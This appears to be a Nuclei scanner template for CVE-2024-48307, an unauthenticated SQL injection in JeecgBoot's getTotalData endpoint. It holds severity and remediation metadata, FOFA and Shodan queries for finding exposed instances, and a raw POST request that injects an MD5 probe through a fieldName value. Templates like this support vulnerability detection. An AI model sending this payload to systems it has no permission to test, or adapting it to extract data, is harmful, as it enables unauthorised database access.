JeecgBoot v3.7.1 - SQL Injection

id: CVE-2024-48307

info:
  name: JeecgBoot v3.7.1 - SQL Injection
  author: lbb,s4e-io
  severity: critical
  description: |
    The JeecgBoot application is vulnerable to SQL Injection via the `getTotalData` endpoint. An attacker can exploit this vulnerability to extract sensitive information from the database by injecting SQL commands.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL commands to extract sensitive information from the JeecgBoot database.
  remediation: |
    Update JeecgBoot to a version that patches CVE-2024-48307.
  reference:
    - https://github.com/wy876/POC/blob/main/JeecgBoot/JeecgBoot%E6%8E%A5%E5%8F%A3getTotalData%E5%AD%98%E5%9C%A8%E6%9C%AA%E6%8E%88%E6%9D%83SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E(CVE-2024-48307).md
    - https://github.com/jeecgboot/JeecgBoot/issues/7237
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-48307
    cwe-id: CWE-89
    epss-score: 0.50017
    epss-percentile: 0.9889
  metadata:
    max-request: 2
    vendor: jeecg
    product: jeecg_boot
    fofa-query:
      - icon_hash="-250963920"
      - icon_hash=1380908726
      - title="jeecg-boot"
    shodan-query: http.favicon.hash:"1380908726"
  tags: cve2024,cve,jeecg,sqli,vkev,vuln

variables:
  num: "999999999"

http:
  - raw:
      - |
        POST {{path}}drag/onlDragDatasetHead/getTotalData HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"tableName":"sys_user","compName":"test","condition":{"filter":{}},"config":{"assistValue":[],"assistType":[],"name":[{"fieldName":"concat(md5({{num}}),0x3a,0x3a)","fieldType":"string"},{"fieldName":"id","fieldType":"string"}],"value":[{"fieldName":"id","fieldType":"1"}],"type":[]}}

    payloads:
      path:
        - /jeecg-boot/
        - /

    attack: batteringram
    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "YzhjNjA1OTk5ZjNkODM1MmQ3YmI3OTJjZjNmZGIyNWI6Og==")'
          - 'contains(content_type, "application/json")'
          - "status_code == 200"
        condition: and
# digest: 4a0a00473045022058f83897931c908bc890075121ef77cb76a4366f3382f44f5971f6456dfc047f022100a1a5e9f314e02185ecaa3acae5885233af3e95935095ac6bc34fecb862c958e2:922c64590222798bb761d5b6d8e72950